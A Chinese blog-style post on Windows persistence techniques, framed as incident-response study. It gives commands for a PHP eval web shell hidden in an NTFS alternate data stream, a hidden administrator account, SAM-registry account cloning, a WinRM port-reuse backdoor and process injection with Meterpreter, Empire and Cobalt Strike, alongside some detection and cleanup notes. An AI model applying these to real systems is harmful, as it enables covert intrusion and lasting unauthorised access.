反正你也看不到,少写一行又何妨?

引言

思路摘自GitHub开源项目,应急响应篇https://github.com/terry494/fengchenzxc.github.io

Windows权限维持——隐藏

0x01 隐藏文件

  1. 利用文件属性来将一个文件进行隐藏

    选择显示隐藏文件即可再次查看到这个文件。
    另一种隐藏方式:attrib +s +a +h +r命令,给原本的文件夹或文件增加了系统文件属性,存档文件属性,只读文件属性和隐藏文件属性。
    attrib +s +a +h +r D:\test\test.txt
    这样就做到了 真正的隐藏文件,即使显示隐藏文件也无法看到此文件。
    如何查看:在控制面板选择文件夹选项卡分类,然后点击查看,向下找到显示隐藏文件/文件夹和驱动器
  2. 利用ADS隐藏文件内容
    在服务器上echo一个数据流文件
    echo ^<?php @eval($_POST['m0re']);?^> > index.php:header.jpg
    然后生成了一个index.php,但是没有内容,是个空文件。真正的shellheader.jpg,查看该后门。

    查看使用notepad(默认记事本)
  3. 驱动级文件隐藏
    驱动隐藏,通过软件来实现,Easy File Locker
    如果在网站目录中没有发现相关的文件,且系统目录存在以下文件
    c:\WINDOWS\xlkfs.dat
    c:\WINDOWS\xlkfs.dll
    c:\WINDOWS\xlkfs.ini
    c:\WINDOWS\system32\drivers\xlkfs.sys
    那么就是驱动级文件隐藏,清除方法
    1、查询服务状态: sc qc xlkfs
    2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
    3、删除服务: sc delete xlkfs
    4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。

    0x02 隐藏账号

    Windows隐藏系统用户操作,在cmd命令下建立一个用户名为test$的隐藏用户,并将隐藏账户提升为管理员权限。
    net user test$ abc123! /add
    net localgroup administrators test$ /add
    然后使用net user命令就看不到该用户。需要在控制面板显示。
  4. 制作克隆账号
    打开注册表win+R输入regedit到注册表中查看。HKEY_LOCAL_MACHINE\SAM\SAM
    右键单击选择权限,然后选中administrator这个选项,将下面的权限中的完全空中和读取勾选

    然后点击应用,返回注册表编辑器中,再打开HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names找到test$用户

    键值的类型中显示0x3ec找到箭头所指目录。
    找到administrator所对应的的项为000001F4,将000001F4的F值复制到000003EB的F值中,保存。

    选取然后复制。
    粘贴到Names上面的文件中的F值。
    test$003eb导出注册表文件。

    再使用cmd命令删除test$这个用户
    net user test$ /del
    再将之前导入的两个文件重新导入。
    就成功克隆了账号,可以使用D盾来检测,使用工具里的克隆账号检测

    直接删除就可以。
    还有就是通过注册表查看。(通过控制面板韩剧用户组文件等是查看不到的)

    0x03 端口复用

    端口复用可以用来隐藏端口的目的。在Windows下如何隐藏端口?
    winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
    Windows中一条命令即可实现端口复用后门,一般开启WinRM服务作为远程管理,这里也可以用来作端口复用。一种简单的端口复用方式,假设攻击者已经获取到administrator的账号密码,远程连接WinRM服务执行命令
    winrs -r:http://192.168.1.141 -u:administrator -p:abc123! whoami
    也可以使用工具来实现端口复用,https://github.com/crabkun/Switcher
    不过端口复用在实战中用处好像不是太大。所以也没有做深入了解。

    0x04 进程注入

    进程注入,一直是病毒木马的惯用手段,同时,它也是一种隐藏技术。
  5. meterpreter会话注入
    如果权限低,无法得到进行hashdump
    就使用meterpreter进行会话注入高权限的进程。

    查看一下进程,选择一个。
  6. Empire会话进程注入
    通过psinject模块进行会话注入,直接输入ps选择一个SYSTEM权限的进程PID,使用进程注入模块,来获取权限。

    Window后门排查:利用process monitor或者火绒剑监控进程都可以定位到注入进程。

  7. Cobalt Strike进程注入
    选择进程,点击inject,随后选择监听器,点击choose,即可发现Cobaltstrike弹回了目标机的一个新会话,这个会话就是成功注入到某进程的beacon。


    Window后门排查:利用process monitor捕捉通信过程,有规律的请求取决于sleep设置的间隔。